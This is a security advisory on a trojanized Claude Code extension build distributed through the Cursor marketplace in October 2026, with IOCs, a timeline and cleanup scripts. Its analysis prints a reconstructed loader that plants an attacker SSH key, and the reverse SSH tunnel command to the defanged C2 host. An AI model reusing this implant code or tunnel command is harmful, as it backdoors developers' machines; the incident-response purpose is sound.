CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
- Cursor VS Code Extension Marketplace package `anthropic.claude-code` version `2.1.313` (`darwin-arm64` VSIX SHA-256 `432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62`, `win32-x64` VSIX SHA-256 `3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081`), served between `09:27 UTC` and `20:35 UTC` on 29 October 2026 (removed on 29 October; clean version `2.1.314` published on 30 October)
- Developer workstations (macOS, Windows, and Linux) that installed or auto-updated `anthropic.claude-code@2.1.313` during the 11-hour exposure window
TL;DR
On 29 October 2026 between roughly 09:27 UTC and 20:35 UTC (2:27 a.m. to 1:35 p.m. PT), a trojanized build of Anthropic’s Claude Code extension (anthropic.claude-code version 2.1.313) was distributed through the Cursor VS Code Extension Marketplace. Cursor reports that at most 5,000 users received the modified package before it removed the version, shut down and rebuilt its marketplace, rotated its signing and publishing keys, and worked with the upstream hosting provider to take down the attacker’s command-and-control server (134.209.82[.]225).
The tampered VSIX packages keep the genuine Claude binary and extension bundle intact, but prepend a 66-line self-invoking JavaScript loader to extension.js (SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15, 3,692,922 bytes, about 7 KB larger than the clean 2.1.312 release). Because the loader runs at module initialization time inside the editor’s extension host, no Claude chat session or user prompt is required:
- SSH
authorized_keysimplant: It creates~/.ssh(0700) and appends an attacker-controlled Ed25519 public key (SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk) with the commentsvc-telemetryto~/.ssh/authorized_keys(0600). - Local SSH daemon enablement: It attempts to turn on the local SSH server via
sudo -n systemsetup -setremotelogin onon macOS,systemctlstart commands forsshd/sshon Linux, orAdd-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0in PowerShell on Windows. - Persistent reverse SSH tunnel: It decodes an embedded OpenSSH private key (
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ, file SHA-2567e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278) to$TMPDIR/.stk_<10 hex>and~/.config/.smtk, then spawns a detached 60-second retry loop connecting totunnel@134.209.82[.]225with-N -R '*:0:localhost:22'. To survive editor restarts and extension removal, it installs~/Library/LaunchAgents/com.apple.sysmond.pliston macOS, aSysMonscheduled task (orStartup\sysmon.cmdfallback) on Windows, and an@rebootcrontab entry on Linux. - Host and secret-name beacon: After a 1.5-second delay, it looks up the host’s public IP via
ifconfig.meandapi.ipify.organd sends an HTTPPOSTtohxxp://134.209.82[.]225:8099/beacon(andhxxp://127.0.0[.]1:8099/beacon) containing the hostname, username, OS, CPU architecture, home and working directories,git config --global user.email, and the names (not values) of up to 40 environment variables matchingKEY,TOKEN,SECRET,PASS,AWS, orGCP.
What to do now: Uninstalling the extension or updating to 2.1.314 does not remove the SSH key or the standalone persistence jobs. Check ~/.ssh/authorized_keys (and C:\ProgramData\ssh\administrators_authorized_keys on Windows) for svc-telemetry or fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk, run Cursor’s remediation script (remediate-macos.sh or remediate-windows.ps1) or the Linux cleanup steps below, update anthropic.claude-code to >= 2.1.314, and rotate every credential reachable from an affected workstation using a separate, clean machine.
Affected packages and distribution channels
Early third-party write-ups attributed the malicious 2.1.313 package to Open-VSX, the Microsoft VS Code Marketplace, or npm. Subsequent investigation by Cursor, OpenSourceMalware, and Socket clarified the actual blast radius across registries:
| Ecosystem / Channel | Package / Identifier | Affected version | Clean versions | Status (30 Oct 2026) | Distribution verification |
|---|---|---|---|---|---|
| Cursor Extension Marketplace | anthropic.claude-code (darwin-arm64, win32-x64) | 2.1.313 (09:27 to 20:35 UTC on 29 Oct 2026) | <= 2.1.312, >= 2.1.314 | Removed from marketplace on 29 Oct 2026 (20:35 UTC); C2 taken offline | Confirmed by Cursor’s security notice; at most 5,000 Cursor users received 2.1.313 |
Open-VSX (open-vsx.org) | Anthropic.claude-code | None confirmed in public change feed (2.1.313 returns 404) | 2.1.312 (27 Oct 20:26 UTC), 2.1.314 (30 Oct 01:07 UTC) | Serving clean 2.1.314 | Socket Research audited 3,392 events in Open-VSX’s append-only change feed (27 to 30 Oct) and found ACTIVE events for all 8 platform builds of 2.1.312 and 2.1.314, with zero publication or removal events for 2.1.313 |
| Microsoft VS Code Marketplace | anthropic.claude-code | None | 2.1.312, 2.1.314 | Unaffected | Confirmed unaffected by Cursor and OpenSourceMalware |
npm (registry.npmjs.org) | @anthropic-ai/claude-code | None (2.1.313 never published) | 2.1.312 (27 Oct 18:36 UTC), 2.1.314 (30 Oct 00:12 UTC) | Serving clean 2.1.314 | Verified via npm view @anthropic-ai/claude-code time --json: npm retains timestamps for unpublished versions, and 2.1.313 is absent |
Even though Open-VSX’s append-only change feed shows no public publication event for 2.1.313, StepSecurity and HOL Guard recommend that developers using any Open-VSX-backed editor (Cursor, VSCodium, Windsurf) who auto-updated extensions on 29 October run the one-line authorized_keys and extension.js checks below.
Technical analysis
1. The 66-line prepended loader in extension.js
In the tampered 2.1.313 VSIX archives (432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 for darwin-arm64 and 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 for win32-x64), package.json declares no preinstall or postinstall hooks and the bundled native claude binary is unmodified. Instead, lines 1 through 66 of extension.js contain a standalone, immediately invoked function expression (IIFE) that imports Node’s built-in child_process, fs, os, path, http, and crypto modules, wraps every stage in silent try { ... } catch {} blocks, and then hands execution to the real bundled extension on line 67.
Static and sandbox analysis by OpenSourceMalware, StepSecurity, and Cursor shows the loader executing five sequential stages as soon as the extension host loads extension.js:
// Reconstructed structure of the 66-line IIFE prepended to extension.js in anthropic.claude-code@2.1.313
// (All IOCs defanged; embedded keys truncated)
(() => {
const cp = require('child_process'), fs = require('fs'),
os = require('os'), path = require('path'),
http = require('http'), crypto = require('crypto');
const home = os.homedir(), plat = os.platform();
const c2Host = '134.209.82[.]225';
const pubKey = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry';
// Stage 1: Collect environment variable names (not values) matching sensitive patterns
const envKeys = Object.keys(process.env)
.filter(k => /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k))
.slice(0, 40);
// Stage 2: Append svc-telemetry Ed25519 public key to ~/.ssh/authorized_keys
try {
const sshDir = path.join(home, '.ssh');
const authFile = path.join(sshDir, 'authorized_keys');
fs.mkdirSync(sshDir, { recursive: true, mode: 0o700 });
const existing = fs.existsSync(authFile) ? fs.readFileSync(authFile, 'utf8') : '';
if (!existing.includes('svc-telemetry')) {
fs.appendFileSync(authFile, (existing.endsWith('\n') || !existing ? '' : '\n') + pubKey + '\n', { mode: 0o600 });
}
} catch (_) {}
// Stage 3: Attempt to enable local SSH daemon (macOS / Linux / Windows)
// Stage 4: Write ~/.config/.smtk + ~/.config/.smt (or smt.cmd) and register LaunchAgent / SysMon task / @reboot cron
// Stage 5: After 1500ms, query public IP via ifconfig.me / api.ipify.org and POST JSON to :8099/beacon
})();
Notice two implementation details documented in Cursor’s remediate-macos.sh and Phorion’s analysis:
- In Stage 2, the implant checks
authorized_keysfor the literal comment stringsvc-telemetryrather than the key material itself, and in some runs appendedpubKeywithout a leading newline whenauthorized_keysdid not end with\n, joining the attacker’s key onto the end of an existing line. - In Stage 1, only the names of up to 40 matching environment variables (
AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN,ANTHROPIC_API_KEY, etc.) are included in the JSON beacon sent tohxxp://134.209.82[.]225:8099/beacon. The values are not transmitted in the HTTP beacon; instead, the beacon tells the operator which high-value credentials exist on the host so they can prioritize interactive login over the reverse SSH tunnel.
2. When the reverse SSH tunnel succeeds (and when it fails)
To make the planted authorized_keys entry reachable behind NAT and corporate firewalls, the loader drops a base64-decoded private key (SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ) to $TMPDIR/.stk_<10 hex> (where the 10 hex characters are derived from hashing the hostname and home directory) and ~/.config/.smtk, then executes:
# Tunnel command executed by the loader and by ~/.config/.smt every 60 seconds
ssh -N -R '*:0:localhost:22' \
-i ~/.config/.smtk \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 \
-o ExitOnForwardFailure=yes \
-o IdentitiesOnly=yes \
tunnel@134.209.82[.]225
If autossh is installed on the host, the script prefers autossh -M 0.
Crucially, -R '*:0:localhost:22' forwards a remote port on 134.209.82[.]225 back to TCP port 22 on the developer’s own machine (localhost:22). For an operator on 134.209.82[.]225 to log in with the svc-telemetry key, the developer’s machine must actually have an SSH server listening on localhost:22:
- On standard macOS and Windows workstations where Remote Login / OpenSSH Server was turned off and the editor was running as an ordinary non-root user, the loader’s attempt to run
sudo -n systemsetup -setremotelogin onorAdd-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0fails for lack of administrator privileges. The outbound SSH connection to134.209.82[.]225still connects, but forwards to a closed local port 22. - On macOS machines with Remote Login (
sshd) already enabled, Linux workstations and cloud devboxes runningsshd, or machines where Cursor was launched with administrator privileges,localhost:22was already open (or was opened by the loader). On those hosts, the reverse tunnel gave the operator immediate, unauthenticated interactive shell access as the developer user.
Cursor’s remediate-macos.sh explicitly checks for this condition after cleaning up (nc -z -G1 127.0.0.1 22 2>/dev/null && echo "note: something listens on localhost:22; the tunnel exposed it").
3. Per-OS persistence outside the extension directory
Simply uninstalling anthropic.claude-code or upgrading to 2.1.314 leaves the backdoor running because the loader writes standalone persistence artifacts into the user’s home directory:
- macOS: Writes
~/.config/.smt(the tunnel loop script),~/.config/.smtk(the tunnel private key), and~/Library/LaunchAgents/com.apple.sysmond.plist(with labelcom.apple.sysmond,RunAtLoad, andKeepAliveset totrue, loaded vialaunchctl load -w). Despite thecom.apple.sysmondname, this is not an Apple system daemon. - Windows: Writes
%USERPROFILE%\.config\smt.cmd(SHA-25622f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0, 330 bytes) and%USERPROFILE%\.config\smtk, registers an on-start scheduled task (schtasks /create /tn SysMon) attempting to run asSYSTEM, and drops%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmdas a user-level fallback. - Linux: Writes
~/.config/.smtand~/.config/.smtkand appends an@rebootjob pointing to~/.config/.smtin the user’scrontab.
IOCs
- Malicious package and file hashes:
- Package identity:
anthropic.claude-code@2.1.313 - Modified VSIX (
darwin-arm64): SHA-256432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62(MD5da5469c4221775e9fe2e413e59ca7fd9) - Modified VSIX (
win32-x64): SHA-2563de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081(MD5bd3b71ddf3d0cc3af76249afd2c0eda1) - Modified
extension.js(3,692,922bytes): SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15(MD5f49bcd657ef1e626e85ce858958c1769) - Dropped tunnel private key (
.stk_<10 hex>/.smtk): SHA-2567e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278 - Dropped Windows persistence script (
smt.cmd,330bytes): SHA-25622f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0
- Package identity:
- Network indicators (defanged):
- C2 IP and SSH tunnel endpoint:
134.209.82[.]225(tunnel@134.209.82[.]225over TCP port22) - HTTP reconnaissance beacon:
hxxp://134.209.82[.]225:8099/beaconand loopbackhxxp://127.0.0[.]1:8099/beacon
- C2 IP and SSH tunnel endpoint:
- SSH keys and fingerprints:
- Planted
authorized_keyspublic key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry - Planted public key fingerprint:
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk - Embedded reverse-tunnel key fingerprint:
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
- Planted
- Filesystem and scheduler persistence paths:
- macOS:
~/Library/LaunchAgents/com.apple.sysmond.plist(labelcom.apple.sysmond),~/.config/.smt,~/.config/.smtk,$TMPDIR/.stk_* - Windows: Scheduled task
\SysMon,%USERPROFILE%\.config\smt.cmd,%USERPROFILE%\.config\smtk,%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd,%TEMP%\.stk_* - Linux:
crontab@rebootentry executing~/.config/.smt,~/.config/.smtk,/tmp/.stk_*
- macOS:
Detection and remediation
1. Check developer workstations and fleet telemetry
Run these checks across macOS, Linux, and Windows machines before deleting files so you know whether the payload executed and whether localhost:22 was exposed:
# 1. Check ~/.ssh/authorized_keys by both comment (svc-telemetry) and SHA-256 key fingerprint
grep -n 'svc-telemetry' ~/.ssh/authorized_keys 2>/dev/null || true
ssh-keygen -lf ~/.ssh/authorized_keys 2>/dev/null | grep '0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk' || true
# 2. Scan installed VS Code / Cursor / VSCodium / Windsurf extension bundles for the C2 or marker
grep -rnE '134\.209\.82\.225|svc-telemetry' ~/.[!.]*/extensions/anthropic.claude-code-*/extension.js 2>/dev/null || true
# 3. Check for persistence files, LaunchAgents, cron jobs, and active tunnel processes (macOS / Linux)
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_* 2>/dev/null || true
launchctl list 2>/dev/null | grep 'com.apple.sysmond' || true
crontab -l 2>/dev/null | grep -n '\.smt' || true
pgrep -af '134\.209\.82\.225|\.stk_|\.config/\.smt' 2>/dev/null || true
# 4. Check whether a local SSH daemon was listening on port 22 (meaning the reverse tunnel could reach sshd)
nc -z -G1 127.0.0.1 22 2>/dev/null && echo "WARNING: localhost:22 is listening" || echo "localhost:22 closed"
On Windows (PowerShell):
# Check authorized_keys, scheduled task SysMon, Startup folder, and extension bundles
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files) { Select-String 'svc-telemetry' $files }
Get-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.config\smt*", "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd", "$env:TEMP\.stk_*" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.*\extensions\anthropic.claude-code-*\extension.js" -Force -ErrorAction SilentlyContinue | Select-String 'svc-telemetry'
2. Remove the backdoor, persistence, and tampered extension
- macOS: Download and run Cursor’s official
remediate-macos.shscript as the affected user (notroot):curl -fsSLO https://cursor.com/static/security/claude-code-extension/remediate-macos.sh less remediate-macos.sh # inspect before running bash remediate-macos.sh - Windows: Download and run
remediate-windows.ps1from an elevated PowerShell prompt (Run as Administrator):Invoke-WebRequest -Uri https://cursor.com/static/security/claude-code-extension/remediate-windows.ps1 -OutFile remediate-windows.ps1 powershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1 - Linux: Back up your crontab first, terminate the tunnel process, remove the
@rebootentry and.smt/.smtkfiles, strip thesvc-telemetrykey from~/.ssh/authorized_keys, and delete any infected extension directory:crontab -l > ~/crontab-before-cleanup.txt 2>/dev/null || true pkill -f '/\.stk_[0-9a-f]{10}|/\.config/\.smtk|^/bin/sh .*/\.config/\.smt$' 2>/dev/null || true crontab -l 2>/dev/null | grep -v '\.config/\.smt' | crontab - 2>/dev/null || true sed -i.bak '/svc-telemetry/d' ~/.ssh/authorized_keys rm -f ~/.config/.smt ~/.config/.smtk /tmp/.stk_* for js in ~/.[!.]*/extensions/anthropic.claude-code-*/extension.js; do grep -qF 'svc-telemetry' "$js" 2>/dev/null && rm -rf "${js%/*}" done - Reinstall
anthropic.claude-code >= 2.1.314and consider setting"extensions.autoUpdate": falsein your editor settings so privileged extensions are not updated unattended. - Rotate credentials from a known-clean machine: Rotate SSH keys in
~/.ssh, GitHub and GitLab personal access tokens, cloud CLI credentials (~/.aws,~/.config/gcloud,~/.azure), npm/PyPI/Docker registry tokens, and every secret whose variable name matchedKEY,TOKEN,SECRET,PASS,AWS, orGCPin the user’s shell environment. Iflocalhost:22(sshd/ Remote Login) was active while the tunnel ran, rebuild the host from a clean image.
Timeline
- 2026-10-27 (
18:36 UTCnpm /20:26 UTCOpen-VSX): Anthropic publishes clean version2.1.312of Claude Code. - 2026-10-29 (
09:27 UTC/02:27 a.m. PT): Trojanizedanthropic.claude-code2.1.313becomes available in the Cursor VS Code Extension Marketplace. - 2026-10-29 (
20:35 UTC/01:35 p.m. PT): Cursor detects and removes2.1.313, takes its extension marketplace offline to audit access, rotates its keys, and works with the cloud hosting provider to take down134.209.82[.]225. - 2026-10-29 (late) to 2026-10-30 (
00:12 UTCnpm /01:07 UTCOpen-VSX): Cursor publishes its security notice and remediation scripts (remediate-macos.shandremediate-windows.ps1); Anthropic publishes clean version2.1.314. - 2026-10-30 (
09:26to10:44 UTC): OpenSourceMalware, StepSecurity, Socket Research, and HOL Guard publish technical analyses of the 66-lineextension.jsloader and registry change-feed records.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Cursor Security Notice: Malicious version of Anthropic.claude-code (2.1.313) identified in the Cursor Extension Marketplace
- OpenSourceMalware: Trojanized Claude Code Extension Plants an SSH Backdoor
- StepSecurity: Trojanized Claude Code Extension Delivered Persistent SSH Backdoor to Developer Machines
- Socket Research: Cursor Removes Malicious Claude Code 2.1.313 Extension From Its Marketplace
- HOL Guard: Claude Code 2.1.313 SSH backdoor in Cursor: how to check and fix